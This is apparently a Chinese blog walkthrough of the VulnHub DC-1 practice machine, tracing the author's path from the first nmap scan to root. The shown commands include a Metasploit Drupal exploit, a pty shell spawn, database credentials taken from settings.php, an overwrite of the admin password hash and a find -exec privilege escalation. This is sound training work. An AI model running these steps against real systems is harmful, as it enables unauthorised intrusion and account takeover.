准备工作

在vulnhub官网下载DC:1靶机https://www.vulnhub.com/entry/dc-1,292/

导入到vmware

打开kali准备进行渗透(ip:192.168.200.6)

信息收集

利用nmap进行ip端口探测

nmap -sS 192.168.200.6/24

可以看到ip为192.168.200.12的主机开放了22、80、111端口,该主机为靶机DC:1。

开始渗透

开放了80端口意味着我们可以访问他的网站,先访问192.168.200.12:80看看什么情况

是一个登陆的界面,尝试了admin等弱口令后没有结果,暂时找不到其他渗透点,只能先用dirsearch扫一遍

python3 dirsearch.py -u http://192.168.200.12:80

但是没有什么有用的信息,尝试抓包后也没有注意到什么注入点,只能看看有没有框架的漏洞

利用wappalyzer插件来查看这个网站的cms

查到cms是Drupal

接着用msf查看一下有没有关于这个cms的漏洞

在终端输入msfconsole打开msf

search一下关于drupal的漏洞

search drupal

在尝试了几个攻击模块后,发现只有第四个漏洞可以利用

use 4
set RHOSTS 192.168.200.12
run

成功连接,得到meterpreter会话

拿到shell

用ls命令查看当前的文件

注意到有一个flag1.txt文件 cat flag1.txt 查看一下里面的内容

拿到flag1

flag1给了一个小提示,翻译过来就是"每一个好的CMS都需要一个配置文件-你也是。"

那就去查看一下配置文件

Drupal的配置文件是网站根目录下的/sites/defaultx下的setting.php文件。

cd到sites 再cd到defaultx 再cat settings.php

看到了flag2以及数据库的账号密码

这里flag2也给了提示,翻译过来就是

暴力和字典攻击不是最好的选择

获得访问权限的唯一方法(您将需要访问权限)。

你能用这些证书做什么

先尝试登陆一下数据库

mysql -u dbuser -pR0ck3t  

连接成功,但是却无论输入什么都没有回显,应该是权限不足,目标主机限制了访问权限

从这开始就涉及到我的知识盲区了,目前为止我还没有学习相关的提权方法,只能跟着网上的一些文章一步步来,也当是一个初次尝试提权

权限提升

使用python 通过pty.spawn()获得交互式shell

python -c 'import pty;pty.spawn("/bin/bash")'

连接数据库

mysql -u dbuser -pR0ck3t

 

进入数据库后先查看一下数据库

show databases;

再进入drupaldb数据库查看他的表

use drupaldb;
show tables;

注意到名为user的表,查看一下

select * from user;

找到了登陆的账号密码,密码不知道是什么加密方法,

使用Drupal对数据库的加密方法,加密脚本位置在网站根目录下的scripts下

回到根目录执行 password-hash.sh 文件进行加密(这里不能在scripts目录下进行,否则会报错)

php ./scripts/password-hash.sh admin

将admin加密后得到的是$S$DJkC7CVBb0dIx0ySitpfjUZyZ8rioKgogBsDSvpAZHOvUy1p4rq1

得到了加密后的密码,就可以进入数据库修改密码啦  

update users set pass='$S$DJkC7CVBb0dIx0ySitpfjUZyZ8rioKgogBsDSvpAZHOvUy1p4rq1' where name='admin';

 

回到开始的网站上用刚刚的账户密码admin:admin 登陆进去

在后台找到了flag3文件

打开flag3文件又得到一个提示

提示找到passwd文件

passwd文件在etc中

这里找到了flag4的路径在 /home/flag4中

得到flag4

使用find命令提权,root。

find ./ aaa -exec '/bin/sh' \;

进入root根目录找到最终的flag

Well done!!!!

Hopefully you've enjoyed this and learned some new skills.

You can let me know what you thought of this little journey
by contacting me via Twitter - @DCAU7

参考文章

https://www.cnblogs.com/Gh0st1nTheShell/p/14842221.html

https://www.freesion.com/article/1909443385/

vulnhub-DC:1靶机渗透记录的更多相关文章

  1. vulnhub-DC:2靶机渗透记录

    准备工作 在vulnhub官网下载DC:1靶机https://www.vulnhub.com/entry/dc-2,311/ 导入到vmware 打开kali准备进行渗透(ip:192.168.200 ...

  2. vulnhub-DC:5靶机渗透记录

    准备工作 在vulnhub官网下载DC:5靶机DC: 5 ~ VulnHub 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:192.168.200.6) 信息收集 利用nmap ...

  3. vulnhub-DC:6靶机渗透记录

    准备工作 在vulnhub官网下载DC:6靶机DC: 6 ~ VulnHub 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:192.168.200.6) 信息收集 利用nmap ...

  4. vulnhub-DC:3靶机渗透记录

    准备工作 在vulnhub官网下载DC:1靶机www.vulnhub.com/entry/dc-3,312/ 导入到vmware 导入的时候遇到一个问题 解决方法: 点 "虚拟机" ...

  5. vulnhub-DC:4靶机渗透记录

    准备工作 在vulnhub官网下载DC:4靶机https://www.vulnhub.com/entry/dc-4,313/ 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:19 ...

  6. vulnhub-DC:7靶机渗透记录

    准备工作 在vulnhub官网下载DC:7靶机DC: 7 ~ VulnHub 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:192.168.200.6) 信息收集 已经知道了靶 ...

  7. vulnhub-DC:8靶机渗透记录

    准备工作 在vulnhub官网下载DC:8靶机DC: 8 ~ VulnHub 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:192.168.200.6) 信息收集 利用nmap ...

  8. vulnhub-XXE靶机渗透记录

    准备工作 在vulnhub官网下载xxe靶机 导入虚拟机 开始进行渗透测试 信息收集 首先打开kali,设置成NAT模式 查看本机ip地址 利用端口扫描工具nmap进行探测扫描 nmap -sS 19 ...

  9. DC 1-3 靶机渗透

    DC-1靶机 端口加内网主机探测,发现192.168.114.146这台主机,并且开放了有22,80,111以及48683这几个端口. 发现是Drupal框架. 进行目录的扫描: 发现admin被禁止 ...

随机推荐

  1. Headline 项目总结中

    目录 1.项目准备 1.1 rem适配 1.2 通用样式CSS 1.3删除测试代码 1.4Git托管 2.login页面 2.1 页面布局和表单校验 2.2login页的接口抽取 2.5.loadin ...

  2. windows10下JDK9的环境配置

    JDK版本:jdk-9.0.4_windows-x64_bin.exe windows版本:windows10 专业版 64位 需要在系统变量中新建如下3个变量: JAVA_HOME=jdk安装路径J ...

  3. P1045 [NOIP2003 普及组] 麦森数

    题目描述 形如2^P−1的素数称为麦森数,这时P一定也是个素数.但反过来不一定,即如果P是个素数,2^P−1不一定也是素数. 到1998年底,人们已找到了37个麦森数.最大的一个是P=3021377, ...

  4. 【NX二次开发】NX内部函数,libuifw.dll文件中的内部函数

    本文分为两部分:"带参数的函数"和 "带修饰的函数". 浏览这篇博客前请先阅读: [NX二次开发]NX内部函数,查找内部函数的方法 带参数的函数: void U ...

  5. EEPROM工作原理透彻详解

    原文链接点击这里 EEPROM(Electrically Erasable Programmable read only memory)即电可擦可编程只读存储器,是一种掉电后数据不丢失(不挥发)存储芯 ...

  6. VsCode中添加tasks.json

    选中项目文件夹,按ctrl+shift+p,输入tasks 选择之后,继续选择 然后选择 选中就可以了

  7. 【Azure 事件中心】在Service Bus Explorer工具种查看到EventHub数据在分区中的各种属性问题

    问题描述 通过Service Bus Explorer工具,查看到Event Hub的属性值,从而产生的问题及讨论: Size in Bytes:   这个是表示当前分区可以存储的最大字节数吗? La ...

  8. 什么是Mirai僵尸网络

    1.什么是Mirai? Mirai是恶意软件,能够感染在ARC处理器上运行的智能设备,将其转变为远程控制的机器人或"僵尸"并组成网络.这种机器人网络称为僵尸网络,通常用于发动DDo ...

  9. Python的字符串和编码

    1. 字符编码 字符串也是一种数据类型,但是,字符串比较特殊的是还有一个编码问题. 因为计算机只能处理数字,如果要处理文本,就必须先把文本转换为数字才能处理.最早的计算机在设计时采用8个比特(bit) ...

  10. 区分DDD中的Domain, Subdomain, Bounded Context, Problem/Solution Space

    区分DDD中的Domain, Subdomain, Bounded Context, Problem/Solution Space 译自: Domain, Subdomain, Bounded Con ...